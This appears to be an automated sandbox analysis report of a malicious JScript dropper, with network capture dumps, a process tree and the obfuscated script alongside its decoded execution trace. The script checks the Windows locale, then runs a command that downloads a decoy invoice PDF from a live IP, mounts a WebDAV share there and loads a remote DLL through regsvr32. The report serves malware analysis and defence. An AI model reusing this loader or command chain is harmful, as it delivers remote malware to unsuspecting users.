/FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 09:01:07.105315924 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 09:01:07.105330944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 09:01:07.105343103 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 09:01:07.105364084 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 09:01:07.105377913 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 09:01:07.105444908 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 09:01:07.105494022 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 09:01:07.105508089 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 09:01:07.105520964 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 09:01:07.110337973 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6552	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:01:08.903500080 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 09:01:09.703916073 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:01:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:01:02
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js"
Imagebase:	0x7ff63c5f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:01:02
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll
Imagebase:	0x7ff722a00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:01:02
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:01:02
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:01:07
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:01:07
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff722a00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:01:07
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7839a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:01:07
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:01:08
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:01:08
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1624,i,7132419276765248093,6791947108155488567,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function eaffmd() {	eaffmd() ➔ undefined
1	ezquxdset = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ylwqqc = this[nrdeae + kpwtkwvr + rngceznv + fvyxqk + rvrue + dbkgwlw + unihpit + hwdztrv] ( this[vcxuez + uhfkjnsc + mpwfabvnt + rngceznv + dhkleumyt + nrdeae + hwdztrv][daohaprh + rngceznv + rvrue + kpwtkwvr + hwdztrv + rvrue + rskdngx + smnhlip + hvnag + rvrue + mpwfabvnt + hwdztrv] ( vcxuez + uhfkjnsc + mpwfabvnt + rngceznv + dhkleumyt + nrdeae + hwdztrv + mjkpyvcag + uhfkjnsc + ttezh + rvrue + uwerrq + uwerrq ) [mrlthur + rvrue + myqpcrcj + mrlthur + rvrue + kpwtkwvr + celbnesp] ( qvjhdpuwn + yelyp + cuzfvmrja + gnjgnipe + ahcictizc + daohaprh + fpuarny + mrlthur + mrlthur + cuzfvmrja + ktjpoxpzy + tlsujap + ahcictizc + fpuarny + uhfkjnsc + cuzfvmrja + mrlthur + cefvwjva + daohaprh + ynjbers + unihpit + hwdztrv + rngceznv + ynjbers + uwerrq + wfyqv + behqrzou + kpwtkwvr + unihpit + rvrue + uwerrq + cefvwjva + dbkgwlw + unihpit + hwdztrv + rvrue + rngceznv + unihpit + kpwtkwvr + hwdztrv + dhkleumyt + ynjbers + unihpit + kpwtkwvr + uwerrq + cefvwjva + vcmpigyn + ynjbers + mpwfabvnt + kpwtkwvr + uwerrq + rvrue ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qxlfo = 0 ; qxlfo < ezquxdset[uwerrq + rvrue + unihpit + myqpcrcj + hwdztrv + ttezh] ; ++ qxlfo )
4	{
5	if ( ylwqqc == ezquxdset[qxlfo] )
6	{
7	ylwqqc = true;
8	break ;
9	}
10	}
11	if ( ylwqqc !== true )
12	this[vcxuez + uhfkjnsc + mpwfabvnt + rngceznv + dhkleumyt + nrdeae + hwdztrv][ynphdc + odlpyhir + dhkleumyt + hwdztrv] ( );
13	this[vcxuez + uhfkjnsc + mpwfabvnt + rngceznv + dhkleumyt + nrdeae + hwdztrv][daohaprh + rngceznv + rvrue + kpwtkwvr + hwdztrv + rvrue + rskdngx + smnhlip + hvnag + rvrue + mpwfabvnt + hwdztrv] ( vcxuez + uhfkjnsc + mpwfabvnt + rngceznv + dhkleumyt + nrdeae + hwdztrv + mjkpyvcag + uhfkjnsc + ttezh + rvrue + uwerrq + uwerrq ) [rngceznv + odlpyhir + unihpit] ( mpwfabvnt + zowwqlhge + celbnesp + wfyqv + dzomj + mpwfabvnt + wfyqv + nrdeae + ynjbers + wpgesw + rvrue + rngceznv + fvyxqk + ttezh + rvrue + uwerrq + uwerrq + mjkpyvcag + rvrue + lsfog + rvrue + wfyqv + dkqhg + daohaprh + ynjbers + zowwqlhge + zowwqlhge + kpwtkwvr + unihpit + celbnesp + wfyqv + fhbwxrev + dbkgwlw + unihpit + gdxkg + ynjbers + duxkookgj + rvrue + dkqhg + vcxuez + rvrue + smnhlip + mrlthur + rvrue + lybjtrq + odlpyhir + rvrue + fvyxqk + hwdztrv + wfyqv + dkqhg + rskdngx + odlpyhir + hwdztrv + jrtedvh + dhkleumyt + uwerrq + rvrue + wfyqv + pcicm + hwdztrv + rvrue + zowwqlhge + nrdeae + pcicm + cefvwjva + dhkleumyt + unihpit + gdxkg + ynjbers + dhkleumyt + mpwfabvnt + rvrue + mjkpyvcag + nrdeae + celbnesp + vqgycx + wfyqv + ttezh + hwdztrv + hwdztrv + nrdeae + hcemzwnu + dzomj + dzomj + itdoodlh + zswof + xfxueyclp + mjkpyvcag + itdoodlh + rxbua + xfxueyclp + mjkpyvcag + itdoodlh + mjkpyvcag + voofrlfo + mwbwpr + nmteul + dzomj + dhkleumyt + unihpit + gdxkg + ynjbers + dhkleumyt + mpwfabvnt + rvrue + mjkpyvcag + nrdeae + ttezh + nrdeae + fhbwxrev + udvcmxrtu + udvcmxrtu + fvyxqk + hwdztrv + kpwtkwvr + rngceznv + hwdztrv + wfyqv + pcicm + hwdztrv + rvrue + zowwqlhge + nrdeae + pcicm + cefvwjva + dhkleumyt + unihpit + gdxkg + ynjbers + dhkleumyt + mpwfabvnt + rvrue + mjkpyvcag + nrdeae + celbnesp + vqgycx + udvcmxrtu + udvcmxrtu + mpwfabvnt + zowwqlhge + celbnesp + wfyqv + dzomj + mpwfabvnt + wfyqv + unihpit + rvrue + hwdztrv + wfyqv + odlpyhir + fvyxqk + rvrue + wfyqv + cefvwjva + cefvwjva + itdoodlh + zswof + xfxueyclp + mjkpyvcag + itdoodlh + rxbua + xfxueyclp + mjkpyvcag + itdoodlh + mjkpyvcag + voofrlfo + mwbwpr + nmteul + soiscbmf + icgqb + icgqb + icgqb + icgqb + cefvwjva + celbnesp + kpwtkwvr + gdxkg + wpgesw + wpgesw + wpgesw + rngceznv + ynjbers + ynjbers + hwdztrv + cefvwjva + udvcmxrtu + udvcmxrtu + mpwfabvnt + zowwqlhge + celbnesp + wfyqv + dzomj + mpwfabvnt + wfyqv + rngceznv + rvrue + myqpcrcj + fvyxqk + gdxkg + rngceznv + xfxueyclp + voofrlfo + wfyqv + dzomj + fvyxqk + wfyqv + cefvwjva + cefvwjva + itdoodlh + zswof + xfxueyclp + mjkpyvcag + itdoodlh + rxbua + xfxueyclp + mjkpyvcag + itdoodlh + mjkpyvcag + voofrlfo + mwbwpr + nmteul + soiscbmf + icgqb + icgqb + icgqb + icgqb + cefvwjva + celbnesp + kpwtkwvr + gdxkg + wpgesw + wpgesw + wpgesw + rngceznv + ynjbers + ynjbers + hwdztrv + cefvwjva + itdoodlh + rxbua + xfxueyclp + mwbwpr + agifzmdaa + itdoodlh + mwbwpr + ucklwdpg + icgqb + voofrlfo + xfxueyclp + itdoodlh + agifzmdaa + voofrlfo + icgqb + mjkpyvcag + celbnesp + uwerrq + uwerrq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll",0,false) ➔ 0
14	}
15	soiscbmf = "S";
16	soiscbmf = "S";
17	soiscbmf = "w";
18	soiscbmf = "U";
19	soiscbmf = "y";
20	soiscbmf = "f";
21	soiscbmf = "S";
22	soiscbmf = "g";
23	soiscbmf = "u";
24	soiscbmf = "q";
25	soiscbmf = "W";
26	soiscbmf = "f";
27	soiscbmf = "V";
28	soiscbmf = "D";
29	soiscbmf = "s";
30	soiscbmf = "U";
31	soiscbmf = "f";
32	soiscbmf = "X";
33	soiscbmf = "D";
34	soiscbmf = "N";
35	soiscbmf = "T";
36	soiscbmf = "w";
37	soiscbmf = "E";
38	soiscbmf = "i";
39	soiscbmf = "w";
40	soiscbmf = "K";
41	soiscbmf = "W";
42	soiscbmf = "Y";
43	soiscbmf = "z";
44	soiscbmf = "C";
45	soiscbmf = "N";
46	soiscbmf = "Z";
47	soiscbmf = "S";
48	soiscbmf = "S";
49	soiscbmf = "B";
50	soiscbmf = "H";
51	soiscbmf = "w";
52	soiscbmf = "s";
53	soiscbmf = "Y";
54	soiscbmf = "@";
55	jrtedvh = "e";
56	jrtedvh = "J";
57	jrtedvh = "J";
58	jrtedvh = "h";
59	jrtedvh = "p";
60	jrtedvh = "Z";
61	jrtedvh = "k";
62	jrtedvh = "q";
63	jrtedvh = "z";
64	jrtedvh = "M";
65	jrtedvh = "u";
66	jrtedvh = "w";
67	jrtedvh = "g";
68	jrtedvh = "z";
69	jrtedvh = "r";
70	jrtedvh = "H";
71	jrtedvh = "j";
72	jrtedvh = "w";
73	jrtedvh = "L";
74	jrtedvh = "r";
75	jrtedvh = "w";
76	jrtedvh = "V";
77	jrtedvh = "o";
78	jrtedvh = "I";
79	jrtedvh = "z";
80	jrtedvh = "k";
81	jrtedvh = "f";
82	jrtedvh = "z";
83	jrtedvh = "M";
84	jrtedvh = "L";
85	jrtedvh = "e";
86	jrtedvh = "r";
87	jrtedvh = "u";
88	jrtedvh = "y";
89	jrtedvh = "a";
90	jrtedvh = "J";
91	jrtedvh = "o";
92	jrtedvh = "T";
93	jrtedvh = "S";
94	jrtedvh = "O";
95	jrtedvh = "M";
96	jrtedvh = "L";
97	jrtedvh = "L";
98	jrtedvh = "F";
99	rngceznv = "O";
100	rngceznv = "q";
101	rngceznv = "w";
102	rngceznv = "B";
103	rngceznv = "x";
104	rngceznv = "B";
105	rngceznv = "J";
106	rngceznv = "B";
107	rngceznv = "d";
108	rngceznv = "R";
109	rngceznv = "i";
110	rngceznv = "i";
111	rngceznv = "f";
112	rngceznv = "F";
113	rngceznv = "q";
114	rngceznv = "P";
115	rngceznv = "R";
116	rngceznv = "X";
117	rngceznv = "i";
118	rngceznv = "f";
119	rngceznv = "N";
120	rngceznv = "g";
121	rngceznv = "t";
122	rngceznv = "w";
123	rngceznv = "v";
124	rngceznv = "c";
125	rngceznv = "t";
126	rngceznv = "G";
127	rngceznv = "G";
128	rngceznv = "H";
129	rngceznv = "p";
130	rngceznv = "N";
131	rngceznv = "r";
132	ahcictizc = "H";
133	ahcictizc = "K";
134	ahcictizc = "i";
135	ahcictizc = "v";
136	ahcictizc = "F";
137	ahcictizc = "z";
138	ahcictizc = "s";
139	ahcictizc = "n";
140	ahcictizc = "G";
141	ahcictizc = "K";
142	ahcictizc = "B";
143	ahcictizc = "n";
144	ahcictizc = "R";
145	ahcictizc = "v";
146	ahcictizc = "i";
147	ahcictizc = "B";
148	ahcictizc = "B";
149	ahcictizc = "A";
150	ahcictizc = "t";
151	ahcictizc = "F";
152	ahcictizc = "B";
153	ahcictizc = "g";
154	ahcictizc = "t";
155	ahcictizc = "U";
156	ahcictizc = "_";
157	duxkookgj = "T";
158	duxkookgj = "V";
159	duxkookgj = "i";
160	duxkookgj = "f";
161	duxkookgj = "K";
162	duxkookgj = "b";
163	duxkookgj = "w";
164	duxkookgj = "D";
165	duxkookgj = "x";
166	duxkookgj = "o";
167	duxkookgj = "p";
168	duxkookgj = "F";
169	duxkookgj = "t";
170	duxkookgj = "n";
171	duxkookgj = "r";
172	duxkookgj = "R";
173	duxkookgj = "X";
174	duxkookgj = "f";
175	duxkookgj = "a";
176	duxkookgj = "D";
177	duxkookgj = "H";
178	duxkookgj = "m";
179	duxkookgj = "g";
180	duxkookgj = "k";
181	duxkookgj = "V";
182	duxkookgj = "D";
183	duxkookgj = "I";
184	duxkookgj = "l";
185	duxkookgj = "a";
186	duxkookgj = "V";
187	duxkookgj = "s";
188	duxkookgj = "i";
189	duxkookgj = "C";
190	duxkookgj = "U";
191	duxkookgj = "c";
192	duxkookgj = "k";
193	icgqb = "m";
194	icgqb = "T";
195	icgqb = "K";
196	icgqb = "j";
197	icgqb = "I";
198	icgqb = "e";
199	icgqb = "I";
200	icgqb = "g";
201	icgqb = "F";
202	icgqb = "N";
203	icgqb = "q";
204	icgqb = "H";
205	icgqb = "c";
206	icgqb = "r";
207	icgqb = "I";
208	icgqb = "t";
209	icgqb = "u";
210	icgqb = "H";
211	icgqb = "x";
212	icgqb = "k";
213	icgqb = "R";
214	icgqb = "8";
215	mjkpyvcag = "M";
216	mjkpyvcag = "G";
217	mjkpyvcag = "z";
218	mjkpyvcag = "W";
219	mjkpyvcag = "p";
220	mjkpyvcag = "x";
221	mjkpyvcag = "j";
222	mjkpyvcag = "N";
223	mjkpyvcag = "c";
224	mjkpyvcag = "a";
225	mjkpyvcag = "I";
226	mjkpyvcag = "Z";
227	mjkpyvcag = "B";
228	mjkpyvcag = "g";
229	mjkpyvcag = "d";
230	mjkpyvcag = "A";
231	mjkpyvcag = "E";
232	mjkpyvcag = "v";
233	mjkpyvcag = "H";
234	mjkpyvcag = "D";
235	mjkpyvcag = "e";
236	mjkpyvcag = "K";
237	mjkpyvcag = "t";
238	mjkpyvcag = "p";
239	mjkpyvcag = "Q";
240	mjkpyvcag = "n";
241	mjkpyvcag = "i";
242	mjkpyvcag = "G";
243	mjkpyvcag = "y";
244	mjkpyvcag = "i";
245	mjkpyvcag = "q";
246	mjkpyvcag = "K";
247	mjkpyvcag = "V";
248	mjkpyvcag = "o";
249	mjkpyvcag = ".";
250	zowwqlhge = "Z";
251	zowwqlhge = "i";
252	zowwqlhge = "C";
253	zowwqlhge = "V";
254	zowwqlhge = "d";
255	zowwqlhge = "O";
256	zowwqlhge = "H";
257	zowwqlhge = "X";
258	zowwqlhge = "v";
259	zowwqlhge = "g";
260	zowwqlhge = "J";
261	zowwqlhge = "n";
262	zowwqlhge = "I";
263	zowwqlhge = "x";
264	zowwqlhge = "Q";
265	zowwqlhge = "x";
266	zowwqlhge = "f";
267	zowwqlhge = "J";
268	zowwqlhge = "H";
269	zowwqlhge = "f";
270	zowwqlhge = "R";
271	zowwqlhge = "k";
272	zowwqlhge = "m";
273	zowwqlhge = "v";
274	zowwqlhge = "D";
275	zowwqlhge = "Z";
276	zowwqlhge = "o";
277	zowwqlhge = "k";
278	zowwqlhge = "u";
279	zowwqlhge = "u";
280	zowwqlhge = "h";
281	zowwqlhge = "E";
282	zowwqlhge = "R";
283	zowwqlhge = "d";
284	zowwqlhge = "U";
285	zowwqlhge = "d";
286	zowwqlhge = "E";
287	zowwqlhge = "m";
288	zowwqlhge = "g";
289	zowwqlhge = "m";
290	mrlthur = "W";
291	mrlthur = "S";
292	mrlthur = "n";
293	mrlthur = "D";
294	mrlthur = "e";
295	mrlthur = "f";
296	mrlthur = "m";
297	mrlthur = "k";
298	mrlthur = "Y";
299	mrlthur = "y";
300	mrlthur = "L";
301	mrlthur = "I";
302	mrlthur = "c";
303	mrlthur = "s";
304	mrlthur = "S";
305	mrlthur = "M";
306	mrlthur = "y";
307	mrlthur = "N";
308	mrlthur = "y";
309	mrlthur = "R";
310	mrlthur = "B";
311	mrlthur = "F";
312	mrlthur = "p";
313	mrlthur = "b";
314	mrlthur = "c";
315	mrlthur = "M";
316	mrlthur = "X";
317	mrlthur = "K";
318	mrlthur = "Z";
319	mrlthur = "L";
320	mrlthur = "R";
321	fvyxqk = "s";
322	hcemzwnu = "w";
323	hcemzwnu = "I";
324	hcemzwnu = "O";
325	hcemzwnu = "E";
326	hcemzwnu = "W";
327	hcemzwnu = "w";
328	hcemzwnu = "A";
329	hcemzwnu = "F";
330	hcemzwnu = "D";
331	hcemzwnu = "b";
332	hcemzwnu = "d";
333	hcemzwnu = "N";
334	hcemzwnu = "m";
335	hcemzwnu = "m";
336	hcemzwnu = "f";
337	hcemzwnu = "b";
338	hcemzwnu = "D";
339	hcemzwnu = "O";
340	hcemzwnu = "S";
341	hcemzwnu = "l";
342	hcemzwnu = "z";
343	hcemzwnu = "I";
344	hcemzwnu = "V";
345	hcemzwnu = "U";
346	hcemzwnu = "R";
347	hcemzwnu = "m";
348	hcemzwnu = "E";
349	hcemzwnu = "j";
350	hcemzwnu = "p";
351	hcemzwnu = "x";
352	hcemzwnu = "O";
353	hcemzwnu = "O";
354	hcemzwnu = ":";
355	kpwtkwvr = "z";
356	kpwtkwvr = "S";
357	kpwtkwvr = "q";
358	kpwtkwvr = "P";
359	kpwtkwvr = "D";
360	kpwtkwvr = "F";
361	kpwtkwvr = "v";
362	kpwtkwvr = "d";
363	kpwtkwvr = "N";
364	kpwtkwvr = "y";
365	kpwtkwvr = "H";
366	kpwtkwvr = "Q";
367	kpwtkwvr = "L";
368	kpwtkwvr = "W";
369	kpwtkwvr = "M";
370	kpwtkwvr = "w";
371	kpwtkwvr = "X";
372	kpwtkwvr = "T";
373	kpwtkwvr = "g";
374	kpwtkwvr = "T";
375	kpwtkwvr = "B";
376	kpwtkwvr = "X";
377	kpwtkwvr = "E";
378	kpwtkwvr = "D";
379	kpwtkwvr = "a";
380	kpwtkwvr = "x";
381	kpwtkwvr = "u";
382	kpwtkwvr = "I";
383	kpwtkwvr = "q";
384	kpwtkwvr = "O";
